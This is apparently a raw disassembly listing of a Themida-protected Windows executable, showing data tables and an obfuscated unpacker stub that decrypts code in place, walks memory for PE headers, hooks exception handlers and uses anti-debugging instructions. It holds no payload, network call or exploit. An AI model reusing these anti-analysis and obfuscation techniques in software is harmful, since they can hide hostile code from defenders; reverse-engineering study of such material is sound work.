0DDh, 77h dd 2 dup(0) dd 77E78B82h, 2 dup(0) dd 6601D640h, 0 dd 77E7A19Fh, 0 dd 77E7A5FDh, 2 dup(0) dd offset loc_5BBC43 dd 9 dup(0) dd 1, 2 dup(0) dd 50ED5413h, 76B41B40h, 0 dd 3313EF50h, 2 dup(0) dd 21212121h, 9280h, 9A11E174h, 0 dd 960F502h, 0Ch dup(0) dd offset dword_5CFE0C dd 0DCh, 0E225F9E5h, 7 dup(0) dd 0A269DDh, 5 dup(0) dd 385FF68h, 0 dd 77E7C486h, 0 dd 4000A29h, 0 dd 0FFFFFFFEh, 4 dup(0) dd 0A9C530DFh, 77E793EFh, 4 dup(0) dd 0A0h, 0EC5h, 59AD16h, 0 dd 5503A96Ah, 8 dup(0) dd offset dword_5BCB08 dd offset dword_59AE20 align 10h dd 0A31564h, 0 dd 7DBD0CEDh, 2 dup(0) dd 457A7h, 89CBD3CFh, 0 dd 59Eh, 2 dup(0) dd offset byte_5C272D dd 17h dup(0) dd 8273B12Ch, 0 dd 77F50000h, 6 dup(0) dd 0A49BACh, 3 dup(0) dd 76F8h, 0 dd 0AC5A1034h, 2 dup(0) ; --------------------------------------------------------------------------- jmp loc_54C4B5 ; --------------------------------------------------------------------------- align 4 dd 9 dup(0) dd 0A269DDh, 0A1B168h, 17h dup(0) ; --------------------------------------------------------------------------- cmpsb loc_54C4B5: ; CODE XREF: Themida_:0054C424j setalc sub al, 0ACh ; --------------------------------------------------------------------------- dd 5 dup(0) dd 0A22292h, 0FEF4C5B6h, 0FFA2E8A1h, 829A3E7Eh, 4 dup(0) dd 0A255D1h, 3 dup(0) dd 0DF7CDB0Ch, 0FFFF9C80h, 8 dup(0) dd 6764h, 0 dd 0E6B5E11Bh, 54CB8Dh, 1EF8h, 0FB592B42h, 2 dup(0) dd 2430000h, 0 dd 18D6D51Ah, 18h dup(0) dd 2D66h, 7FFE0304h, 24242424h, 2 dup(0) dd offset dword_457444+29DBFh dd 0 dd 144628h, 4 dup(0) ; --------------------------------------------------------------------------- jmp near ptr byte_54C617 ; --------------------------------------------------------------------------- align 4 dd 5 dup(0) dd 27BDBBF7h, 2 dup(0) dd 0C73FB831h, 57AE68h, 0 db 3 dup(0) byte_54C617 db 0 ; CODE XREF: Themida_:0054C5E0j dd 0Ah dup(0) dd 0FFAB37DCh, 2 dup(0) dd 0FFFFA78Ch, 2 dup(0) dd 7Ch, 0FFFFFF30h, 7 dup(0) dd 78h, 4 dup(0) dd 0A47316h, 12FF54h, 4 dup(0) dd 7FFE0304h, 2 dup(0) dd 1, 2 dup(0) dd 0FFEEF4A1h, 3 dup(0) dd 6Ch, 4 dup(0) dd 25D0000h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 69h, 55h, 0 dd 0 dd 0D664ED67h, 2 dup(0) dd 77E7F880h, 0Dh dup(0) dd 0F303A3D5h, 3A0h, 7 dup(0) dd 0FFA8417Eh, 0B2A1FEh, 149Eh, 4 dup(0) dd 0A31560h, 0 dd 10947C48h, 0Bh dup(0) dd 0AB8Bh, 5 dup(0) dd 5A397F5Dh, 7 dup(0) dd 77E75CB5h, 5 dup(0) dd offset byte_580023 dd 2 dup(0) dd 94F1CB4h, 2 dup(0) dd 452294C5h, 2 dup(0) dword_54C824 dd 368h, 124AF0h, 0Bh dup(0) ; DATA XREF: Themida_:0054CD88o ; Themida_:0054CF70o dd 1DE072C8h, 7FFE0304h, 5 dup(0) dd 8001FCFCh, 3 dup(0) dd 19h, 0DBA7D352h, 0 dd 7FFE0304h, 3 dup(0) dd 1CE2A81h, 0 dd 385FF68h, 77E75CB5h, 3 dup(0) dd 77DD23D7h, 5883D1h, 0 dd 0B90000h, 4 dup(0) dd 0FFFFCC53h, 35Bh, 2, 7 dup(0) dd 77E60000h, 2 dup(0) dd offset loc_584E21 dd 0A26CB0h, 0 dd offset dword_57D000 dd 0Ch dup(0) dd 0A1003Eh, 6D656854h, 616469h, 1Ch dup(0) dd 0FB57BA34h, 4 dup(0) dd 58h, 2 dup(0) ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dd offset word_591D5A align 4 dd 45BAE2E8h, 3 dup(0) dd 0FA44B46Bh, 2 dup(0) dd 2, 3 dup(0) dd 2, 4 dup(0) dd 1, 2 dup(0) dd 0FED5BD02h, 0 dd 77E805D8h, 3 dup(0) dd 129FE3h, 0A29C37h, 2 dup(0) dd 2C66B16Ch, 7 dup(0) dd offset loc_586443 dd 77E77963h, 2 dup(0) dd 0A68D53h, 14E8h, 4 dup(0) dd 77E776CDh, 0 dd 77E78B82h, 6376C648h, 0 dd 0A269DDh, 4 dup(0) dd offset dword_54E3C8 dd 3 dup(0) dd 1899h, 3 dup(0) dd offset loc_57AE66+2 dd 7 dup(0) dd 77E77CB8h, 2 dup(0) dd 6764h, 0 dd 0A269DDh, 2 dup(0) dd 0A2A00Fh, 3780h, 2 dup(0) dd 0E569h, 2 dup(22222222h), 0 dd 0E877DC3Bh, 0 dd offset dword_580304 align 10h dd 1, 2 dup(0) dd offset loc_587720+1 dd 63h dup(0) dd 77E776CDh, 0Ah dup(0) dd 77E80618h, 4 dup(0) aKa8q db 'kA8Q',0 align 4 dd 0Bh dup(0) dd offset dword_590440 align 8 dd offset dword_54C824 dd offset loc_54EE9D dd 0 dd 0A269DDh, 31h dup(0) dd 5FDCh, 1Dh dup(0) dd 7FFE0304h, 0 dd 77E7A099h, 6 dup(0) dd 4, 3 dup(0) dd 7FFE0304h, 9 dup(0) dd 12FF5Ch, 3 dup(0) dd 2, 6 dup(0) dd 10B6B22h, 4 dup(0) dd offset dword_54C824 dd 7 dup(0) dd 9Ch, 3 dup(0) dd offset loc_5CFCB9 dd 1E2000h, 0Eh dup(0) dd 0FFD5FEECh, 5 dup(0) dd 800086D1h, 9 dup(0) dd 80000h, 2 dup(0) dd 5CB10000h, 2 dup(0) dd 0FFFFFFFFh, 0 dd 80581B81h, 2 dup(0) ; --------------------------------------------------------------------------- mov ah, 13h retf ; --------------------------------------------------------------------------- db 0D7h dd 0Ah dup(0) dd 8A92h, 5 dup(0) dd 4FE8E415h, 5720F1h, 579B00h, 4 dup(0) dd offset loc_5C1203 dd 7 dup(0) dd offset dword_5876F8 dd 0A28C0Ah, 6 dup(0) dd offset dword_53F858+7CBh dd 6 dup(0) dd 8BFA8BFh, 5B97A0h, 2, 14h dup(0) dd 400000h, 3 dup(0) dd offset loc_5A5282 dd 3 dup(0) dd offset loc_54DB54 dd offset loc_5A4BDF+5 align 10h dd offset loc_58963D dd offset loc_5A7E24 dd 0 dd 6A5BF3DBh, 0D668D7D1h, 3 dup(0) dd 0A10000h, 0Ah dup(0) dd offset sub_5A5318 dd offset sub_59EADD align 8 dd 304h, 2 dup(0) db 90h align 4 dd 0 dd 0FFFFFFFFh, 6 dup(0) dd 4, 0 dd offset byte_5AAEED dd 4 dup(0) dd 380FD7EEh, 7 dup(0) dd 77D6ADFEh, 4 dup(0) dd 12FF54h, 1Bh dup(0) dd offset word_57BE82 dd 5C2DB9D6h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short near ptr word_54D316 ; --------------------------------------------------------------------------- dw 9Eh dd 4 dup(0) dd 7FFE0304h, 57FCD2h, 2 dup(0) dd 2 db 2 dup(0) word_54D316 dw 0 ; CODE XREF: Themida_:0054D2ECj dd 6 dup(0) dd 7FFE0304h, 2 dup(0) dd 12FF54h, 182FFB0h, 13A8h, 0A10A9Ah, 0 dd offset loc_5B98B0 dd 0FFFFFFFFh, 5 dup(0) dd 0A28C0Ah, 6 dup(0) dd 9500h, 2 dup(0) dd 7FFE0304h, 9 dup(0) dd 98h, 7391DAF1h, 4 dup(0) dd 0E1DE586h, 0 dd 1C34h, 6 dup(0) dd 7FFE0304h, 3 dup(0) dd offset dword_5CFE0C dd 3 dup(0) dd offset dword_5CFE0C dd 0FFFF9725h, 2 dup(0) dd 12FFE0h, 5 dup(0) dd 400000h, 5 dup(0) dd 41A22692h, 2 dup(0) dd 0FFAB37DCh, 2 dup(0) dd 0F1E21A7Ah, 0 dd 6CE40BEh, 3 dup(0) dd 0FFA652EFh, 0A69995h, 5C8D8Dh, 0Ah dup(0) dd 37050F7Bh, 4 dup(0) dd 0CC924B81h, 7 dup(0) dd offset loc_5AC530 dd 77F52E0Fh, 7FFE0304h, 0 dd offset loc_586443 align 8 dd 7FFE0304h, 0 dd 6764h, 0FFED00A0h, 2 dup(0) dword_54D520 dd 0A31568h, 2E275017h, 4 dup(0) ; DATA XREF: Themida_:0054D7E0o ; Themida_:0054D800o dd 0FE4A9673h, 0 dd 11111111h, 3 dup(0) dd 77D40000h, 5BFB86h, 0 dd 12FF54h, 0 dd 31A9E3BDh, 22h, 9 dup(0) dd 77DD59F0h, 7A0E7E5Fh, 1, 3 dup(0) dd 0FC2E0D3Ch, 4 dup(0) dd offset loc_5839F5 dd 3 dup(0) dd 304h, 0A2A037h, 6 dup(0) dd 8001FCFCh, 0 dd 34EB86D9h, 0FFA85198h, 28D0000h, 4 dup(0) dd offset byte_5B52CF dd 2 dup(0) dd offset loc_586443 dd 3 dup(0) dd 976145BCh, 0 dd 12FFF0h, 6 dup(0) dd 400000h, 0 dd 1, 6 dup(0) dd 1, 4 dup(0) dd 37054BA3h, 2 dup(0) dd offset byte_5C0023 dd 0Eh dup(0) dd 0A2A00Fh, 7FFE0304h, 2 dup(0) dd 0FFFF1A97h, 3 dup(0) dd 12FF54h, 0Bh dup(0) dd 0A29393h, 7 dup(0) ; --------------------------------------------------------------------------- retf 0B0B1h ; --------------------------------------------------------------------------- align 8 dd offset byte_5D05EF dd 2 dup(0) dd 0FFFF1A97h, 0Bh dup(0) dd 5AE0h, 7FFE0304h, 3 dup(0) dd 84h, 0 dd offset byte_5A3193 align 10h dd 0B805h, 6 dup(0) dd 7FFE0304h, 434DD212h, 0A31568h, 2 dup(0) dd offset dword_54D520 dd 2 dup(0) dd 5247ADD9h, 4 dup(0) dd offset dword_54D520 dd 0BAAAh, 5BBD25h, 4 dup(0) ; --------------------------------------------------------------------------- sbb al, bh and esp, esp push edx lahf inc ebp retn ; --------------------------------------------------------------------------- dd 2 dup(0) dd 8AA7h, 0FFFFFFFCh, 2 dup(0) dd 0D58256Bh, 3 dup(0) dd offset byte_5E0EDF dd 4 dup(0) dd offset unk_4DF000 dd 4834699Ch, 8 dup(0) dd 2B0FEEE9h, 0B2h dup(0) ; --------------------------------------------------------------------------- loc_54DB54: ; DATA XREF: Themida_:0054D184o mov eax, 0 or eax, eax jz short loc_54DB60 retn 18h ; --------------------------------------------------------------------------- loc_54DB60: ; CODE XREF: Themida_:0054DB5Bj mov eax, [esp+0Ch] push ebx call $+5 pop ebx add ebx, 17h mov [esp+10h], ebx mov [esp+14h], eax pop ebx mov eax, 0A2A037h jmp eax ; --------------------------------------------------------------------------- mov eax, [esp+4] jmp eax ; --------------------------------------------------------------------------- align 4 dd 16h dup(0) dd 24h, 4 dup(0) dd 3 dup(33333333h), 7FFE0304h, 2Ah, 2 dup(0) dd offset word_5AC1A6 dd 0AB19B80h, 4 dup(0) dd 0DCh, 7 dup(0) dd 0FFA4B134h, 2 dup(0) dd 7FFE0304h, 2 dup(0) dd offset loc_58A828 dd 2 dup(0) dd 5FCCC991h, 4 dup(0) dd 0C4h, 0 dd 7FFE0304h, 70h, 0 dd 6BACh, 86555974h, 3 dup(0) dd 881857C9h, 0 dd 7FFE0304h, 4 dup(0) dd offset loc_5BACF1 dd 77E7C785h, 0 dd 0A6E31C02h, 0D228156Dh, 0AE7D4AFBh, 0D8h, 18D6D51Bh dd 3 dup(0) dd offset word_57BE82 dd 2Eh dup(0) dd 6469h, 49F6D778h, 2 dup(0) dd 5674E7FBh, 3 dup(0) dd 17Eh, 0 dd 1, 3 dup(0) dd offset byte_5A8363 dd 1CC9F511h, 3 dup(0) dd offset dword_457444+29DBFh align 10h dd 0A269DDh, 0FFFFA01Ch, 2 dup(0) dd 32597F5Dh, 0E569h, 1000h, 0 dd 0FFA78908h, 7 dup(0) dd 28D0000h, 6 dup(0) dd 62h, 3 dup(0) dd 0A269DDh, 8A31A6B6h, 4 dup(0) dd offset dword_5CFE0C dd 0 dd 2A0114h, 2 dup(0) dd 94C6DC2Eh, 5 dup(0) dd 0B753FBF4h, 0 dd 11D9F29h, 5 dup(0) dd 7FFE0304h, 3 dup(0) dd 77E83E68h, 0 dd 1, 2 dup(0) dd 77E776CDh, 27310304h, 2 dup(0) dd offset loc_5C12BF+5 dd 900Bh, 4 dup(0) dd 7273EFB3h, 4 dup(0) dd 0FFFFFFF3h, 0 dd 259208Ah, 586455h, 7FFE0304h, 0 dd 6764h, 0FFFFFFFFh, 5 dup(0) dd 976145BCh, 0 dd 6D5C3A43h, 706E755Fh, 656B6361h, 72h, 7Ch dup(0) dd 9E828DE7h, 0 dd 1, 0 dd 1, 3 dup(0) dd 0D0987273h, 2 dup(0) dd offset dword_5876F8 dd 3 dup(0) dd offset byte_5879F3 align 10h dd 0FFFFA2F4h, 0 dd 6764h, 8AA7h, 0E80h, 0A2A313h, 0FFFF7559h, 0Bh dup(0) dd 6764h, 0 dd 0FFFFFF68h, 6 dup(0) dd offset dword_5C4CC0 dd 0 dd 0A23E3Bh, 0Ah dup(0) dd 77E7C726h, 0 dd 0E0C60000h, 1Ch dup(0) dd 77DD0000h, 3 dup(0) dd 380FD7EEh, 5 dup(0) dd 3D94h, 6 dup(0) dd 4, 6 dup(0) dd 69DDh, 0 dd 0A22BDEh, 7FFE0304h, 0 dd 94h, 7FFE0304h, 0FFAB37DCh, 4 dup(0) dd 42E45F83h, 2 dup(0) dd offset loc_5C1203 dd 2430008h, 12FFA4h, 3FEEh, 0D1739634h, 2 dup(0) dd 0A10000h, 5803D5h, 5 dup(0) dd 0FFFFh, 576FE082h, 7 dup(0) dd 0A323E8h dword_54E3C8 dd 0 ; DATA XREF: Themida_:0054CAD8o dd 547Ch, 7 dup(0) dd 2A0114h, 0 dd 1F8Fh, 99AEh, 7FFE0304h, 77EBA6E9h, 3 dup(0) dd 0A47FD8h, 2 dup(7FFE0304h), 0 dd 0A29234h, 3 dup(0) dd offset byte_5C138D dd 6 dup(0) dd 0E3030000h, 7 dup(0) dd 33AB6305h, 0Ah dup(0) dd offset byte_5A57ED dd 2 dup(0) dd offset sub_5CE57D dd 6 dup(0) dd offset loc_5CFCB9 dd 4 dup(0) dd 24B6B9Ch, 0 dd 32F9DC04h, 0FFFFFFFDh, 0 dd offset loc_58BEA5 dd 9 dup(0) dd 7FFE0304h, 25B0000h, 4 dup(0) ; --------------------------------------------------------------------------- jmp short loc_54E53E ; --------------------------------------------------------------------------- align 4 dd offset dword_5A0934 dd 74h, 77E7C657h, 0 db 9Ah, 0Ah ; --------------------------------------------------------------------------- loc_54E53E: ; CODE XREF: Themida_:0054E528j mov eax, large ds:0 ; --------------------------------------------------------------------------- db 0 align 10h dd 77E7FB17h, 77F5180Bh, 5C52D1h, 0 dd 12FFC4h, 2 dup(0) dd 7C8C0968h, 2 dup(0) dd offset word_5865EA dd 3 dup(0) dd 7FFE0304h, 4 dup(0) dd offset loc_5969F6 dd 3 dup(0) dd 385FF68h, 4 dup(0) dd 84DCCC7Ah, 2 dup(0) dd 24B7FFFh, 0Dh dup(0) dd 5A4BD4B8h, 2 dup(0) dd offset word_5D738E align 8 a6666 db '6666',0 align 10h dd 3 dup(0) dd 816A6869h, 586443h, 0A10FE6h, 2Ch dup(0) dd 93B4C9Eh, 77E7C486h, 0 dd offset loc_5D000F dd 4 dup(0) dd 9096h, 49CC51h, 6 dup(0) dd 1, 2 dup(0) dd offset sub_57FA37 dd 3 dup(0) dd 0DE000h, 0C7246BA2h, 2 dup(0) dd 0FFFFA4C0h, 15h dup(0) dd 0A10000h, 25E0000h, 0FD7CA5Eh, 6 dup(0) dd 7FFE0304h, 0 dd offset loc_5C12BF+5 dd 5 dup(0) aCWindowsSystem db 'C:\WINDOWS\System32\ADVAPI32.dll',0 align 4 dd 39h dup(0) dd offset dword_5CFE0C dd offset sub_5A4E9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54E900: ; CODE XREF: start:loc_54B46Bj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 610349Fh mov [ebp+61030F5h], edx mov [ebp+61030E9h], esi mov [ebp+61021C9h], eax cmp dword ptr [ebp+6101C21h], 0 jz short loc_54E938 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_54E938: ; CODE XREF: start+6D916j mov eax, [esp+40h+var_1C] mov [ebp+6102089h], eax push 45h call sub_54E9EC push 783749Ah call sub_54EA32 push 0A894B25h call sub_54EA32 jmp loc_54EB76 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 4645h dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh dd 0C2C1C0BFh, 0C3h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54E9EC proc near ; CODE XREF: start+6D930p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 610358Dh mov ebx, edx mov [ebp+var_28], 0 loc_54EA08: ; CODE XREF: sub_54E9EC+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_54EA27 mov eax, [ebp+arg_0] mov [ebx+61034F7h], eax inc [ebp+arg_0] inc ebx jmp short loc_54EA08 ; --------------------------------------------------------------------------- loc_54EA27: ; CODE XREF: sub_54E9EC+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_54E9EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54EA32 proc near ; CODE XREF: start+6D93Ap start+6D944p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 61035D6h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_54EA58: ; CODE XREF: sub_54EA32+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_54EA58 mov [ebp+var_84], 0 lea edi, [edx+61034F7h] lea esi, [ebp+var_80] loc_54EA88: ; CODE XREF: sub_54EA32+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_54EA94: ; CODE XREF: sub_54EA32+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_54EA94 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_54EA88 popa leave retn 4 sub_54EA32 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_54EAD2 ; --------------------------------------------------------------------------- loc_54EACE: ; CODE XREF: Themida_:0054EAD5j inc dword ptr [ebp-4] inc esi loc_54EAD2: ; CODE XREF: Themida_:0054EACCj cmp byte ptr [esi], 0 jnz short loc_54EACE mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_54EB63 ; --------------------------------------------------------------------------- loc_54EAE4: ; CODE XREF: Themida_:0054EB66j mov dword ptr [ebp-8], 0 jmp short loc_54EB5A ; --------------------------------------------------------------------------- loc_54EAED: ; CODE XREF: Themida_:0054EB5Ej mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_54EB47 ; --------------------------------------------------------------------------- loc_54EAFD: ; CODE XREF: Themida_:0054EB4Bj shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_54EB1F cmp bl, 39h ja short loc_54EB1F sub bl, 30h jmp short loc_54EB41 ; --------------------------------------------------------------------------- loc_54EB1F: ; CODE XREF: Themida_:0054EB13j ; Themida_:0054EB18j cmp bl, 61h jb short loc_54EB31 cmp bl, 66h ja short loc_54EB31 sub bl, 61h add bl, 0Ah jmp short loc_54EB41 ; --------------------------------------------------------------------------- loc_54EB31: ; CODE XREF: Themida_:0054EB22j ; Themida_:0054EB27j cmp bl, 41h jb short loc_54EB41 cmp bl, 46h ja short loc_54EB41 sub bl, 41h add bl, 0Ah loc_54EB41: ; CODE XREF: Themida_:0054EB1Dj ; Themida_:0054EB2Fj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_54EB47: ; CODE XREF: Themida_:0054EAFBj cmp dword ptr [ebp-0Ch], 2 jb short loc_54EAFD cmp dword ptr [ebp-10h], 0 jbe short loc_54EB57 mov eax, [ebp-10h] stosb loc_54EB57: ; CODE XREF: Themida_:0054EB51j inc dword ptr [ebp-8] loc_54EB5A: ; CODE XREF: Themida_:0054EAEBj cmp dword ptr [ebp-8], 2 jb short loc_54EAED add edx, 4 loc_54EB63: ; CODE XREF: Themida_:0054EAE2j cmp edx, [ebp-4] jb loc_54EAE4 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54EB76: ; CODE XREF: start+6D949j mov ecx, 7000h lea edi, [ebp+610371Ch] loc_54EB81: ; CODE XREF: start+6DB71j dec byte ptr [edi] inc edi dec ecx jnz short loc_54EB81 mov eax, 48692121h mov edx, 0F00E1000h sub edx, 0F0000000h lea eax, [ebp+6103828h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax mov ebx, edx push 0 push eax call sub_54EBBF and [eax-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_54EBBF proc near ; CODE XREF: start+6DBA3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_54EBBF endp ; --------------------------------------------------------------------------- mov edx, 4EA70CCFh icebp pusha mov ax, 0E3AAh sub ecx, 6A53EF34h popa sub eax, edx jmp loc_54EBFC ; --------------------------------------------------------------------------- dd 9CF7D77h, 0BEED93CAh, 59F5EB04h, 56B66A17h, 0D7A8E2B7h ; --------------------------------------------------------------------------- loc_54EBFC: ; CODE XREF: Themida_:0054EBE3j and eax, 0FFFFF000h mov bh, cl movzx ebx, di mov ecx, edx xor edi, edi loc_54EC0A: ; CODE XREF: Themida_:0054EC25j cmp word ptr [eax], 5A4Dh jnz short loc_54EC1F movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_54EC27 loc_54EC1F: ; CODE XREF: Themida_:0054EC0Fj sub eax, 1000h inc edi jmp short loc_54EC0A ; --------------------------------------------------------------------------- loc_54EC27: ; CODE XREF: Themida_:0054EC1Dj pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+610383Bh] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_54EC61 mov esi, [eax+1Ch] loc_54EC61: ; CODE XREF: Themida_:0054EC5Cj xor eax, eax loc_54EC63: ; CODE XREF: Themida_:0054EC76j cmp eax, 32h jz short loc_54EC87 cmp word ptr [esi], 5A4Dh jz short loc_54EC78 loc_54EC6F: ; CODE XREF: Themida_:0054EC85j sub esi, 10000h inc eax jmp short loc_54EC63 ; --------------------------------------------------------------------------- loc_54EC78: ; CODE XREF: Themida_:0054EC6Dj mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_54ECC9 jmp short loc_54EC6F ; --------------------------------------------------------------------------- loc_54EC87: ; CODE XREF: Themida_:0054EC66j pop large dword ptr fs:0 add esp, 4 popa retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] push ebp call $+5 pop ebp sub ebp, 6103846h lea eax, [ebp+6103804h] mov [ecx+0B8h], eax pop ebp pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_54ECC9: ; CODE XREF: Themida_:0054EC83j xchg eax, esi pop large dword ptr fs:0 add esp, 4 call near ptr loc_54ECDC+2 ja short loc_54ED4F inc esi loc_54ECDC: ; CODE XREF: Themida_:0054ECD4p db 0F3h repne jmp loc_54ECEE ; --------------------------------------------------------------------------- db 23h dd 17653E1Dh, 4765AEE6h ; --------------------------------------------------------------------------- adc al, 0C8h loc_54ECEE: ; CODE XREF: Themida_:loc_54ECDCj pop ebx jnp loc_54ECFB adc ebx, 54A2709Ah loc_54ECFB: ; CODE XREF: Themida_:0054ECEFj jle loc_54ED0B jle loc_54ED0B mov bx, 49A7h loc_54ED0B: ; CODE XREF: Themida_:loc_54ECFBj ; Themida_:0054ED01j mov cx, ds sbb bx, 3474h and cl, 4 and ebx, 2AD09204h jg loc_54ED26 push edx mov bh, ah pop ebx loc_54ED26: ; CODE XREF: Themida_:0054ED1Cj or cl, cl jnz loc_54ED6A push eax mov ebx, ecx pop ebx mov dword ptr [ebp+6102209h], 1 call near ptr loc_54ED46+2 jnz short near ptr loc_54EDB7+5 movsb loop near ptr loc_54ED8C+1 loc_54ED46: ; CODE XREF: Themida_:0054ED3Cp fist dword ptr [edi+10E9h] add [edi-51h], ah loc_54ED4F: ; CODE XREF: Themida_:0054ECD9j out dx, al imul esi, ecx, 30h mov edi, 99CF0D58h and dh, ah xchg eax, edx call fword ptr ss:[ebx-17h] pop ss ; --------------------------------------------------------------------------- dd 51000000h, 90EB8051h ; --------------------------------------------------------------------------- pop ebx pop ebx loc_54ED6A: ; CODE XREF: Themida_:0054ED28j mov dword ptr [ebp+6102209h], 0 sbb ebx, 64F6B3Ch mov [ebp+6101499h], eax jmp loc_54ED8C ; --------------------------------------------------------------------------- db 48h, 70h, 77h dd 975E2BE4h ; --------------------------------------------------------------------------- loc_54ED8C: ; CODE XREF: Themida_:0054ED80j ; Themida_:0054ED44j mov ebx, edx mov [ebp+6101D45h], eax call sub_54ED9E ; --------------------------------------------------------------------------- shr dword ptr [esp+eax*2], 48h xchg eax, edx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_54ED9E proc near ; CODE XREF: Themida_:0054ED94p push ecx mov dh, 33h pop ebx pop edi movsx ebx, si add edi, 5F51h push esi loc_54EDAD: ; CODE XREF: sub_54ED9E+30j push esi xor dx, 0BA99h pop eax pop ebx xor ecx, ecx loc_54EDB7: ; CODE XREF: Themida_:0054ED41j jb loc_54EDBF mov eax, ebx loc_54EDBF: ; CODE XREF: sub_54ED9E:loc_54EDB7j ; sub_54EDD8+99j mov esi, [edi+ecx] call sub_54EDD8 dec esi dec eax int 3 ; Trap to Debugger add edx, edi pop edx dec esp jmp short loc_54EDAD sub_54ED9E endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 4A875C60h, 0AA7B5F13h ; =============== S U B R O U T I N E ======================================= sub_54EDD8 proc near ; CODE XREF: sub_54ED9E+24p ; FUNCTION CHUNK AT 0054EE6F SIZE 00000007 BYTES push eax mov bl, 89h pop eax pop eax xor esi, 356530D1h jnb loc_54EDFA jmp loc_54EDFA ; --------------------------------------------------------------------------- dw 5353h dd 0A5B87AAFh, 8458208Ah db 8Fh, 91h ; --------------------------------------------------------------------------- loc_54EDFA: ; CODE XREF: sub_54EDD8+Bj ; sub_54EDD8+11j add esi, 4DA7BFB3h and ah, 0DBh add esi, 5BB9DCAEh mov ax, di push esi mov edx, edi pop dword ptr [edi+ecx] add ebx, 2BE6B1EEh jmp loc_54EE2D ; --------------------------------------------------------------------------- db 3Eh, 8Bh, 1Dh dd 0D460E516h, 0B782B194h, 42AE4D6Eh db 0B7h ; --------------------------------------------------------------------------- loc_54EE2D: ; CODE XREF: sub_54EDD8+40j sub ecx, 4 mov dx, si cmp ecx, 0FFFFA194h jnz loc_54EE6F call near ptr loc_54EE50+2 xchg edx, [ecx-78036581h] stosb inc byte ptr [edx] add bh, 0F7h loc_54EE50: ; CODE XREF: sub_54EDD8+67p add bh, [edi-46h] sub_54EDD8 endp ; sp-analysis failed sal al, 1 cmc push ebp pop edx jmp loc_54EE82 ; --------------------------------------------------------------------------- db 59h, 9Fh, 6 dd 97BD349Dh, 0E29511FFh, 81CC864Eh db 18h, 94h, 0D5h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54EDD8 loc_54EE6F: ; CODE XREF: sub_54EDD8+61j mov bl, 0E1h jmp loc_54EDBF ; END OF FUNCTION CHUNK FOR sub_54EDD8 ; --------------------------------------------------------------------------- dw 1A13h dd 71046CF9h, 0C7D70689h db 64h, 89h ; --------------------------------------------------------------------------- loc_54EE82: ; CODE XREF: Themida_:0054EE58j jmp short loc_54EE88 ; --------------------------------------------------------------------------- dd 215h ; --------------------------------------------------------------------------- loc_54EE88: ; CODE XREF: Themida_:loc_54EE82j jmp loc_54F4D6 ; --------------------------------------------------------------------------- jmp loc_54EE9D ; --------------------------------------------------------------------------- ffreep 